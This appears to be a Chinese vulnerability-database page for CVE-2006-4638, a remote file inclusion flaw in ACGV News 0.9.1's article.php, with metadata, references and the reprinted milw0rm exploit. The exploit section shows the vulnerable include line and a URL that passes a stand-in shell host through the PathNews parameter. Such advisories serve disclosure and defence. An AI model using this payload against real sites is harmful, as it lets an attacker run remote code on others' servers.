ACGV News 'Article.PHP' PHP远程文件包含漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1110953 漏洞类型 输入验证
发布时间 2006-09-05 更新时间 2006-09-12
CVE编号 CVE-2006-4638 CNNVD-ID CNNVD-200609-113
漏洞平台 PHP CVSS评分 5.1
|漏洞来源
https://www.exploit-db.com/exploits/2307
https://www.securityfocus.com/bid/19863
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200609-113
|漏洞详情
ACGVNews0.9.1及更早版本的article.php中存在PHP远程文件包含漏洞,远程攻击者可以通过PathNews参数中的URL执行任意PHP代码。
|漏洞EXP
#==============================================================================================
#ACGV News <= v0.9.1 (PathNews) Remote File Inclusion Exploit
#===============================================================================================
#                                                                       
#Critical Level : Dangerous                                             
#                                                                       
#Venedor site : http://www.acgv.fr.st/       
#                                                                       
#Version : v0.9.1                                             
#                                                         
#================================================================================================
#Bug in : article.php
#
#Vlu Code :
#--------------------------------
#     include_once($PathNews."header.php");
# 
#
#================================================================================================
#
#Exploit :
#--------------------------------
#
#http://sitename.com/[Script Path]/article.php?PathNews=http://SHELLURL.COM?
#
#
#================================================================================================
#Discoverd By : SHiKaA
#
#Conatact : SHiKaA-[at]hotmail.com
#
#GreetZ : Str0ke SimOO KACPER Rgod Timq XoRon MDX Bl@Ck^B1rd
# ==================================================================================================

# milw0rm.com [2006-09-05]
|受影响的产品
ACGV News 0.9.1
|参考资料

来源:MILW0RM
名称:2307
链接:http://www.milw0rm.com/exploits/2307
来源:SECUNIA
名称:21765
链接:http://secunia.com/advisories/21765
来源:XF
名称:acgvnews-pathnews-file-include(28763)
链接:http://xforce.iss.net/xforce/xfdb/28763
来源:BID
名称:19882
链接:http://www.securityfocus.com/bid/19882
来源:OSVDB
名称:28555
链接:http://www.osvdb.org/28555
来源:VUPEN
名称:ADV-2006-3475
链接:http://www.frsirt.com/english/advisories/2006/3475
来源:MILW0RM
名称:2307
链接:http://milw0rm.com/exploits/2307